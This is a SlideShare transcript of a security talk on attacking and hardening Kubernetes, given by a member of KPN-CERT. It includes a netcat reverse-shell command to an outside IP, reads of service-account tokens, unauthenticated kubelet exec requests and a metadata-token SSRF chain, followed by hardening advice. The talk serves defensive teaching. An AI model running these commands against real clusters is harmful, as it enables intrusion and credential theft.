![Securing Attacking
Kubernetes
[_evict @ KPN-CERT]
1 / 42](https://image.slidesharecdn.com/vincent-181204133615/85/Vincent-Ruijter-Securing-Attacking-Kubernetes-1-320.jpg)
Recommandé
Recommandé
Contenu connexe
Tendances
Tendances (20)
Similaire à Vincent Ruijter - ~Securing~ Attacking Kubernetes
Similaire à Vincent Ruijter - ~Securing~ Attacking Kubernetes (20)
Plus de hacktivity
Plus de hacktivity (11)
Dernier
Dernier (20)
Vincent Ruijter - ~Securing~ Attacking Kubernetes
- 1. Securing Attacking Kubernetes [_evict @ KPN-CERT] 1 / 42
- 2. whoami works for KPN in the CERT team infoSec / hacking enthusiast attacker gone defender <3 binary stuff 2 / 42
- 3. ls -l what is kubernetes? how to interact with kubernetes common pitfalls some dem0z advice 3 / 42
- 4. /bin/kubernetes -h open source container orchestration written in go uses docker released by Google on 07/06/2014 July 2015 Kubernetes is part of Cloud Native Computing Foundation 4 / 42
- 5. kubectl -h 5 / 42
- 6. kubectl get namespaces namespaces determine scope administrative boundaries resource restrictions access control $ kubectl get ns NAME STATUS AGE default Active 23d kube-public Active 23d kube-system Active 23d safe-space Active 2h 6 / 42
- 7. kubectl get pods kubernetes works with pods a pod is a collection of one or more containers configuration in yaml images are freely available pods are job based $ kubectl get pods --namespace=kube-system NAME READY calico-etcd-rswwr 1/1 calico-kube-controllers-84fd4db7cd-twxh7 1/1 calico-node-mmpqm 2/2 coredns-78fcdf6894-th6ws 1/1 coredns-78fcdf6894-wrrzl 1/1 etcd-super-secure-k82 1/1 kube-apiserver-super-secure-k82 1/1 kube-controller-manager-super-secure-k82 1/1 kube-proxy-jcm7n 1/1 kube-scheduler-super-secure-k82 1/1 kubernetes-dashboard-6948bdb78-4kg5c 1/1 7 / 42
- 8. kubectl create -f demo.yml apiVersion: v1 kind: Pod metadata: name: super-c00l-c0ntain3r namespace: all-alone spec: restartPolicy: Never containers: - name: container image: "ubuntu:14.04" command: ["sh", "-c", "while true; do echo hello world; sleep 10; done;"] 8 / 42
- 9. kubectl exec executing commands on pods opening a shell on nepal: $ kubectl exec nepal -i --tty --namespace=countries -- /bin/bash root@nepal:/# ls bin dev home lib64 mnt proc run srv tmp var boot etc lib media opt root sbin sys usr root@nepal:/# -i is interactive --tty set STDIN as TTY 9 / 42
- 10. kubectl get svc another abstraction layer clusterIP proxy services loadbalances / exposes services from pods $ kubectl get svc --all-namespaces NAMESPACE NAME TYPE CLUSTER-IP default kubernetes ClusterIP 10.96.0.1 kube-system calico-etcd ClusterIP 10.96.232.136 kube-system kube-dns ClusterIP 10.96.0.10 kube-system kubernetes-dashboard ClusterIP 10.102.156.98 countries nepal NodePort 10.108.209.230 10 / 42
- 11. kubectl get secrets Object to hold sensitive information Created automatically for API access $ kubectl get secrets --all-namespaces NAMESPACE NAME default default-token-h2rnd kube-public default-token-zwtkt kube-system attachdetach-controller-token-nsvgz kube-system bootstrap-signer-token-6w725 [...SNIP...] kube-system token-cleaner-token-dqww6 kube-system ttl-controller-token-7fd48 countries default-token-xgjmm countries supersecret-token-token-8qrlc 11 / 42
- 12. what could go wrong? exposed endpoints unrestricted APIs internet facing API privileged containers internal API / dashboard access 12 / 42
- 13. what could go wrong? what went wrong? found kubernetes endpoint managed to create a pod scanned the internal network found a jenkins box without authentication :-) 13 / 42
- 15. 15 / 42
- 17. Example 1 access to a pod via API (real world example) $ curl -v -s -d '{"command":"hostname"}' -H "Content-Type: application/json" -X POST https://victim.cloud.k8s.nl/command --insecure * Trying 10.165.209.25... [...SNIP...] > POST /command HTTP/1.1 > Host: victim.cloud.k8s.nl > User-Agent: curl/7.55.1 > Accept: */* > Content-Type: application/json > Content-Length: 22 > * upload completely sent off: 22 out of 22 bytes < HTTP/1.1 200 OK < Server: nginx/1.13.3 < Date: Mon, 02 Oct 2017 13:51:29 GMT < Content-Type: application/json; charset=UTF-8 < Content-Length: 59 < Connection: keep-alive < Strict-Transport-Security: max-age=15724800; includeSubDomains; < * Connection #0 to host victim.cloud.k8s.nl left intact {"command":"hostname","output":"bad-red-807241626-189szn"}% built Python wrapper to mimic shell :-) 17 / 42
- 18. getting actual shell $ busybox nc 188.201.254.90 1337 -e /bin/sh & 18 / 42
- 19. getting actual shell doing recon $ busybox nc 188.201.254.90 1337 -e /bin/sh & $ printenv HOSTNAME=container1 KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT=tcp://10.96.0.1:443 KUBERNETES_SERVICE_PORT=443 KUBERNETES_SERVICE_HOST=10.96.0.1 KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1 KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443 [...TRUNCATED...] alternative cat /proc/self/environ 19 / 42
- 20. getting actual shell doing recon $ busybox nc 188.201.254.90 1337 -e /bin/sh & $ printenv HOSTNAME=container1 KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT=tcp://10.96.0.1:443 KUBERNETES_SERVICE_PORT=443 KUBERNETES_SERVICE_HOST=10.96.0.1 KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1 KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443 [...TRUNCATED...] $ ls /var/run/secrets/kubernetes.io/serviceaccount ca.crt namespace token 20 / 42
- 21. getting actual shell doing recon $ busybox nc 188.201.254.90 1337 -e /bin/sh & $ printenv HOSTNAME=container1 KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT=tcp://10.96.0.1:443 KUBERNETES_SERVICE_PORT=443 KUBERNETES_SERVICE_HOST=10.96.0.1 KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1 KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443 [...TRUNCATED...] $ ls /var/run/secrets/kubernetes.io/serviceaccount ca.crt namespace token $ nc -v 10.96.0.1 443 Connection to 10.96.0.1 443 port [tcp/https] succeeded! ^ It is possible to access the API. 21 / 42
- 22. DEMO 1 access to a pod attempt privesc pwn host? ;-) 22 / 42
- 23. 23 / 42
- 24. privileged mode $ cat /etc/kubernetes/manifests/kube-apiserver.yaml apiVersion: v1 kind: Pod metadata: annotations: scheduler.alpha.kubernetes.io/critical-pod: "" creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --authorization-mode=Node,RBAC - --advertise-address=10.0.2.15 - --allow-privileged=true <----- THIS BASTARD RIGHT HERE > [...SNIP...] 24 / 42
- 25. privileged mode > Processes within the container get almost the same privileges that are available to processes outside a container. Great, right? 25 / 42
- 26. Example 2 accessible kubernetes-dashboard version < 1.7 full admin priv by default >= 1.7 minimal privileges granted, admin revoked website displays steps for enabling admin (not recommended) 26 / 42
- 27. inside pod do privesc $ ./kubectl get po --namespace=safe-space NAME READY STATUS RESTARTS AGE container2 1/1 Running 0 8m running in safe space $ ./kubectl --namespace=safe-space create -f escape.yml Error from server (Forbidden): error when creating "escape.yml" pods is forbidden: User "system:serviceaccount:safe-space:default" cannot create pods in the namespace "safe-space" $ ./kubectl --namespace=default create -f escape.yml Error from server (Forbidden): error when creating "escape.yml" pods is forbidden: User "system:serviceaccount:safe-space:default" cannot create pods in the namespace "default" oh noes, no privesc? 27 / 42
- 28. inside pod do privesc recon... $ ./kubectl get svc --namespace=kube-system NAME CLUSTER-IP PORT(S) calico-etcd 10.96.232.136 6666/TCP kube-dns 10.96.0.10 53/UDP,53/TCP kubernetes-dashboard 10.97.154.242 443/TCP ^ that dashboard looks interesting 28 / 42
- 29. inside pod do privesc recon... $ ./kubectl get svc --namespace=kube-system NAME CLUSTER-IP PORT(S) calico-etcd 10.96.232.136 6666/TCP kube-dns 10.96.0.10 53/UDP,53/TCP kubernetes-dashboard 10.97.154.242 443/TCP $ curl -v https://10.97.154.242 -k [...SSL_STUFFZ...] > GET / HTTP/1.1 > User-Agent: curl/7.35.0 > Host: 10.97.154.242 > Accept: */* > < HTTP/1.1 200 OK < Accept-Ranges: bytes < Cache-Control: no-store < Content-Length: 990 < Content-Type: text/html; charset=utf-8 < Last-Modified: Tue, 13 Feb 2018 11:17:03 GMT < Date: Mon, 21 May 2018 08:59:25 GMT < <!doctype html> <html ng-app="kubernetesDashboard"> [...SNIP...] yay! access to dashboardz 29 / 42
- 30. DEMO 2 access to pod in countries attempt privesc pwn host? 30 / 42
- 31. Example 3 port 10250 exposed before 09/02/2018 exposed kubelet API allowed unauthenticated code execution now authenticated by default readonly port 10255 still unauthenticated $ curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://kube-node-here:10250/exec/<namespace>/<podname>/ <container-name> ?command=touch&command=hello_world &input=1&output=1&tty=1" https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through- kubelet-823be5c3d67c 31 / 42
- 32. pod info $ curl -v http://192.168.56.3:10255/pods | jq [...SNIP...] > GET /pods HTTP/1.1 > Host: 192.168.56.3:10255 > User-Agent: curl/7.55.1 > Accept: */* > { "kind": "PodList", "apiVersion": "v1", "metadata": {}, "items": [ { "metadata": { "name": "container1", "namespace": "default", "selfLink": "/api/v1/namespaces/default/pods/ container1", "spec": { "volumes": [ { "name": "default-token-svx6h", "secret": { "secretName": "default-token-svx6h", "defaultMode": 420 } } ] ] 32 / 42
- 33. pod info volume info $ curl -v http://192.168.56.3:10255/stats/ | grep device > GET /stats/ HTTP/1.1 > Host: 192.168.56.3:10255 > User-Agent: curl/7.55.1 > Accept: */* > < HTTP/1.1 200 OK < Content-Type: application/json < Date: Mon, 21 May 2018 10:36:55 GMT < Transfer-Encoding: chunked < "device": "/dev/dm-1", "device": "/dev/mapper/super--secure-- kubernetes--vg-root", "device": "/dev/sda", "device": "/dev/sdb", "device": "tmpfs", 33 / 42
- 34. Example 4 shopify SSRF Disclosed serviceaccount token through SSRF: http://metadata.google.internal/computeMetadata/v1beta1/instance/service- accounts/default/token Made request using token to kube-env curl -X GET http://metadata.google.internal/computeMetadata/v1beta1/ instance/attributes/kube-env?alt=json -H "Authorization: Bearer SUPERSECRETTOKEN==" Disclosed private keys for Kubelet: $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://some.shopify.shop get pods --all-namespaces [PODS] ¯_(ツ)_/¯ Root on all shopify pods. https://hackerone.com/reports/341876 34 / 42
- 35. 35 / 42
- 36. harden network define tiers (labels) e.g. frontend / backend setup egress / ingress rules segment administrative / dev / prod namespaces filter service ports: node controller: 10250 / 10255 / 10256 (tcp) kubelet: 6443 (tcp) etcd: 2379 (tcp) calico: 9099 (tcp) Do not expose node to the internet (!!) 36 / 42
- 37. harden network apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: foo-deny-egress spec: podSelector: matchLabels: app: foo policyTypes: - Egress egress: # allow port 53 TCP/UDP - ports: - port: 53 protocol: UDP - port: 53 protocol: TCP https://github.com/ahmetb/kubernetes-network-policy-recipes/blob/master/11-deny-egress- traffic-from-an-application.md 37 / 42
- 38. harden network harden node limit service exposure limit user access (SSH pubkey) disable privileged mode (if possible) setup proper logging do not auto-mount service account credentials use latest version of Kubernetes run kube-bench / kubesec https://github.com/aquasecurity/kube-bench https://kubesec.io/ 38 / 42
- 39. harden network harden node harden pods do not run as root by default set pod security context disable privesc (yes, this is an option) set DenyEscalatingExec on privileged pods set AllowPrivilegeEscalation to False check containers for vulnerable software https://github.com/ahmetb/kubernetes-network-policy-recipes 39 / 42
- 40. harden network harden node harden pods apiVersion: v1 kind: Pod metadata: name: security-context-example spec: securityContext: runAsUser: 1000 fsGroup: 2000 volumes: - name: sec-1337-volume emptyDir: {} containers: - name: sec-1337-demo image: k8s.io/this-is-a-great-demo volumeMounts: - name: sec-1337-volume mountPath: /data/folder securityContext: allowPrivilegeEscalation: false readOnlyRootFilesystem: true runAsNonRoot: true capabilities: drop: - NET_RAW - CHOWN 40 / 42
- 41. harden network harden node harden pods harden accounts service account should be limited / not mounted whitelist accounts per pod / namespace apply least privilege principle 41 / 42
- 42. harden network harden node harden pods harden accounts kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1beta1 metadata: name: pod-reader rules: - apiGroups: [""] # "" indicates the core API group resources: ["pods", "services"] verbs: ["get", "list"] 42 / 42